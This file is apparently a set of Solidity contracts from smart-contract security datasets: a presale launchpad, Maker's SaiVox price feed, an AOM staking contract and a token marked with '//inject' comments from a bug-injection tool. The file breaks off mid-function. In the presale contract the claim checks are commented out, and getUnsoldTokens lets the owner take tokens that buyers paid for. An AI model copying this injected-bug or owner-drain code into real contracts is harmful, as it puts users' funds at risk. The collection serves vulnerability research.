require((IToken(tokenAddress).balanceOf(address(this))).sub(soldTokens) > 0 ,"No Presale Funds left");
uint256 tokenAmount = getTokenPerCrypto(amount);
require((IToken(tokenAddress).balanceOf(address(this))).sub(soldTokens) >= tokenAmount ,"No Presale Funds left");
require(IToken(_crypto).transferFrom(msg.sender,owner, amount),"Insufficient balance from User");
balanceOf[msg.sender] = balanceOf[msg.sender].add(tokenAmount);
soldTokens = soldTokens.add(tokenAmount);
usersBUSDInvestments[msg.sender] = usersBUSDInvestments[msg.sender].add(amount);
BUSDearnedCap = BUSDearnedCap.add(amount);
IToken(tokenAddress).approve(Staker,soldTokens);
}
function claimTokens() public{
// require(!isPresaleOpen, "You cannot claim tokens until the presale is closed.");
// require(isClaimable, "You cannot claim tokens until the finalizeSale.");
require(balanceOf[msg.sender] > 0 , "No Tokens left !");
MetaStake(Staker).depositFor(currentPoolId,balanceOf[msg.sender],msg.sender);
balanceOf[msg.sender]=0;
}
function finalizeSale(address _staker) public onlyOwner{
isClaimable = !(isClaimable);
Staker = _staker;
IToken(tokenAddress).approve(Staker,soldTokens);
soldTokens = 0;
}
function approveContarct(address _staker,uint256 _amount) public onlyOwner {
Staker = _staker;
IToken(tokenAddress).approve(_staker,_amount);
}
function deposit(uint256 _pid,uint256 _amount) public onlyOwner{
MetaStake(Staker).depositFor(_pid,_amount,msg.sender);
}
function whitelistedSale() public onlyOwner{
isWhitelisted = !(isWhitelisted);
}
function setHardCap(uint256 _hardCap) public onlyOwner{
hardCap = _hardCap;
}
function setBUSDHardCap(uint256 _BUSDhardCap) public onlyOwner{
BUSDhardCap = _BUSDhardCap;
}
function getTokensPerEth(uint256 amount) public view returns(uint256) {
return amount.mul(tokenRatePerEth).div(10**(uint256(18).sub(tokenDecimals).add(rateDecimals)));
}
function getTokenPerCrypto(uint256 _amount) public view returns (uint256){
return _amount.mul(tokenRatePercrypto).div(10**(uint256(IToken(_crypto).decimals()).sub(uint256(IToken(tokenAddress).decimals()).add(rateDecimals))));
}
function withdrawBNB() public onlyOwner{
require(address(this).balance > 0 , "No Funds Left");
owner.transfer(address(this).balance);
}
function getUnsoldTokensBalance() public view returns(uint256) {
return IToken(tokenAddress).balanceOf(address(this));
}
function burnUnsoldTokens() external onlyOwner {
require(!isPresaleOpen, "You cannot burn tokens untitl the presale is closed.");
IToken(tokenAddress).burnTokens(IToken(tokenAddress).balanceOf(address(this)));
}
function getUnsoldTokens() external onlyOwner {
require(!isPresaleOpen, "You cannot get tokens until the presale is closed.");
soldTokens = 0;
IToken(tokenAddress).transfer(owner, (IToken(tokenAddress).balanceOf(address(this))).sub(soldTokens));
}
constructor(address _tokenAddress,
uint256 _tokenRatePerEth,
uint256 _tokenRatePercrypto,
uint256 _maxEthLimit,
uint256 _minEthLimit,
uint256 _BUSDmaxEthLimit,
uint256 _BUSDminEthLimit,
uint256 _hardCap,
uint256 _BUSDhardCap,
uint256 _poolId,
address _staker,
address _owner) public {
tokenAddress = _tokenAddress;
tokenRatePerEth = _tokenRatePerEth;
tokenRatePercrypto = _tokenRatePercrypto;
maxEthLimit = _maxEthLimit;
minEthLimit = _minEthLimit;
BUSDmaxEthLimit = _BUSDmaxEthLimit;
BUSDminEthLimit = _BUSDminEthLimit;
hardCap = _hardCap;
BUSDhardCap = _BUSDhardCap;
currentPoolId = _poolId;
Staker = _staker;
owner = payable(_owner);
}
}
contract Proxy is Owned {
mapping(address => address) public _presale;
function createPresale(address _tokenAddress,
uint256 _tokenRatePerEth,
uint256 _tokenRatePercrypto,
uint256 _maxEthLimit,
uint256 _minEthLimit,
uint256 _BUSDmaxEthLimit,
uint256 _BUSDminEthLimit,
uint256 _hardCap,
uint256 _BUSDhardCap,
uint256 _poolId,
address _staker) public onlyOwner {
_presale[_tokenAddress] = address(new MetaswapLaunchpad(_tokenAddress,_tokenRatePerEth,_tokenRatePercrypto,_maxEthLimit,_minEthLimit,_BUSDmaxEthLimit,_BUSDminEthLimit,_hardCap,_BUSDhardCap,_poolId,_staker,msg.sender));
}
function getPresale(address _token) public view returns (address){
return _presale[_token];
}
}
| 121,032 | 12,010 |
dd03c37549f6306edff79451bc358c5bc0d1e9276e1f965cead0431743dd0a4c
| 9,687 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x9b0f70df76165442ca6092939132bbaea77f2d7a.sol
| 2,646 | 9,308 |
// hevm: flattened sources of src/vox.sol
pragma solidity ^0.4.18;
////// lib/ds-guard/lib/ds-auth/src/auth.sol
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSAuthority {
function canCall(address src, address dst, bytes4 sig) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
////// lib/ds-spell/lib/ds-note/src/note.sol
/// note.sol -- the `note' modifier, for logging calls as events
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSNote {
event LogNote(bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
////// lib/ds-thing/lib/ds-math/src/math.sol
/// math.sol -- mixin for inline numerical wizardry
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
////// lib/ds-thing/src/thing.sol
// thing.sol - `auth` with handy mixins. your things should be DSThings
// Copyright (C) 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSThing is DSAuth, DSNote, DSMath {
function S(string s) internal pure returns (bytes4) {
return bytes4(keccak256(s));
}
}
////// src/vox.sol
/// vox.sol -- target price feed
// Copyright (C) 2016, 2017 Nikolai Mushegian <nikolai@dapphub.com>
// Copyright (C) 2016, 2017 Daniel Brockman <daniel@dapphub.com>
// Copyright (C) 2017 Rain Break <rainbreak@riseup.net>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract SaiVox is DSThing {
uint256 _par;
uint256 _way;
uint256 public fix;
uint256 public how;
uint256 public tau;
function SaiVox(uint par_) public {
_par = fix = par_;
_way = RAY;
tau = era();
}
function era() public view returns (uint) {
return block.timestamp;
}
function mold(bytes32 param, uint val) public note auth {
if (param == 'way') _way = val;
}
// Dai Target Price (ref per dai)
function par() public returns (uint) {
prod();
return _par;
}
function way() public returns (uint) {
prod();
return _way;
}
function tell(uint256 ray) public note auth {
fix = ray;
}
function tune(uint256 ray) public note auth {
how = ray;
}
function prod() public note {
var age = era() - tau;
if (age == 0) return; // optimised
tau = era();
if (_way != RAY) _par = rmul(_par, rpow(_way, age)); // optimised
if (how == 0) return; // optimised
var wag = int128(how * age);
_way = inj(prj(_way) + (fix < _par ? wag : -wag));
}
function inj(int128 x) internal pure returns (uint256) {
return x >= 0 ? uint256(x) + RAY
: rdiv(RAY, RAY + uint256(-x));
}
function prj(uint256 x) internal pure returns (int128) {
return x >= RAY ? int128(x - RAY)
: int128(RAY) - int128(rdiv(RAY, x));
}
}
| 214,044 | 12,011 |
2968712d2fe12c6d985d668b4128c8672dd642d13b26b9b4a16071a68f93462d
| 27,244 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/2a/2A70A0A31926ff3c34bf85941F42f15DAE3C2F0e_AOMStaking.sol
| 4,139 | 16,492 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsAOM {
function rebase(uint256 aomProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract AOMStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable AOM;
address public immutable sAOM;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _AOM,
address _sAOM,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_AOM != address(0));
AOM = _AOM;
require(_sAOM != address(0));
sAOM = _sAOM;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(AOM).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsAOM(sAOM).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sAOM).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsAOM(sAOM).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsAOM(sAOM).balanceForGons(info.gons));
IERC20(AOM).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sAOM).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(AOM).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsAOM(sAOM).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsAOM(sAOM).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsAOM(sAOM).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(AOM).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sAOM).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sAOM).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 105,978 | 12,012 |
b418dff427aac5af936421a65a57414755d9ddb234c0e15ea62e59a0c6db57ea
| 20,899 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/NonpublicVarAccessdByPublicFunc/manualCheck/0x0eed488853d116944e0c07dfdabe8dfee12061a1_nonpublicVarAccessdByPublicFunc.sol
| 2,561 | 9,166 |
pragma solidity 0.5.14;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function symbol() public view returns (string memory) {
return _symbol; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function decimals() public view returns (uint8) {
return _decimals; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
contract $USDAI is ERC20, ERC20Detailed {
using SafeMath for uint256;
// $USDC details:
address private $USDCaddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
ERC20 private $USDC = ERC20($USDCaddress);
uint256 private $USDCunit = 1000000;
// $DAI details:
address private $DAIaddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
ERC20 private $DAI = ERC20($DAIaddress);
uint256 private $DAIunit = 1000000000000000000;
// $USDAI details:
uint8 public version = 1;
uint256 private $USDAIunit = 1000000000000000000;
string public emoji = "1";
constructor () public ERC20Detailed("USDAI Dollar", "USDAI", 18) {} // initializes $USDAI
function mint$USDAI(uint256 amount) public {
uint256 usdcSplit = amount.mul($USDCunit).div(2); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint256 daiSplit = amount.mul($DAIunit).div(2); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
$USDC.transferFrom(msg.sender, address(this), usdcSplit); // deposit $USDC split after approval //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
